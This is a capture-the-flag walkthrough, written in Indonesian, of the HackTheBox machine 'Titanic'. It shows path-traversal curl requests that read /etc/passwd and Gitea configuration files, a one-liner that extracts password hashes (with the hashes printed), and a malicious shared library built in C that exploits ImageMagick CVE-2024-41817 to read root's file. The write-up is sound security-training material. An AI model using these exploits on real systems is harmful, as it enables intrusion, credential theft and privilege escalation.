Halo semuanya, pada kali ini gw akan membahas mesin seasonal minggu ini dari hackthebox, yaitu titanic.
Enumerasi Awal
Seperti biasa, yang akan kita lakukan adalah melakukan scanning pada ip dengan menggunakan nmap:
└─# nmap -sSCV -O -A 10.10.11.55 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 11:58 EST
Nmap scan report for 10.10.11.55
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Disini kita dapatkan ada 2 port yang terbuka. Kita akan buka http://titanic.htb setelah menambahkan entri DNS ke file hosts.
Subdomain Enumeration
Selanjutnya kita akan melakukan virtual host enumeration dengan menggunakan ffuf:
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb" -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 24ms]
Disini kita dapatkan subdomain dev. Ketika dibuka, kita menemukan repository developer yang mengandung app.py.
Eksploitasi Path Traversal
Setelah menganalisis kode dengan bantuan ChatGPT, terdeteksi bahwa app.py vulnerable terhadap path traversal. Kita akan coba pada targetnya:
└─# curl --path-as-is http://titanic.htb/download?ticket=../../../etc/passwd
Ya benar saja, kita bisa mengakses file /etc/passwd dan mendapatkan daftar user sistem.
Selanjutnya kita akan cari dimana configurations file biasanya berada pada gitea, ternyata ada pada direktori /data/gitea/conf/app.ini:
└─# curl --path-as-is http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini
Dari konfigurasi tersebut, kita menemukan lokasi database SQLite di path /home/developer/gitea/data/gitea/gitea.db.
Sebelum itu, kita bisa mengambil flag user:
curl --path-as-is http://titanic.htb/download?ticket=../../../home/developer/user.txt
Ekstraksi Credentials
Setelah mengunduh gitea.db, kita ekstrak hash password menggunakan SQLite:
└─# sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Disini kita akan langsung crack hashnya menggunakan hashcat dan berhasil mendapatkan password untuk user developer.
User Access
Setelah berhasil login sebagai developer via SSH:
developer@titanic:~$ whoami
developer
developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
Eskalasi Priviledge
Selanjutnya kita akan coba lihat writeable direktori dari target dan didapatkan ada direktori /opt/scripts yang menarik. Di dalamnya terdapat file identify_images.sh:
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Disini terlihat ada automate script yang berjalan setiap beberapa menit. Kita cek versi ImageMagick:
developer@titanic:/opt/scripts$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Berdasarkan versinya, ImageMagick tersebut vulnerable terhadap CVE-2024–41817. Kita akan exploit dengan membuat library berbahaya:
developer@titanic:/opt/scripts$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /root/root.txt root.txt; chmod 754 root.txt");
exit(0);
}
EOF
Lalu kita pindah ke working directory script dan tunggu sampai script berjalan:
developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg favicon.ico home.jpg metadata.log root.txt
exquisite-dining.jpg hey luxury-cabins.jpg mylib.c test.jpg
developer@titanic:/opt/app/static/assets/images$ cat root.txt
fa139d2ccf0f7d6f387dae1518969662
Dan boom! Kita dapatkan root flagnya!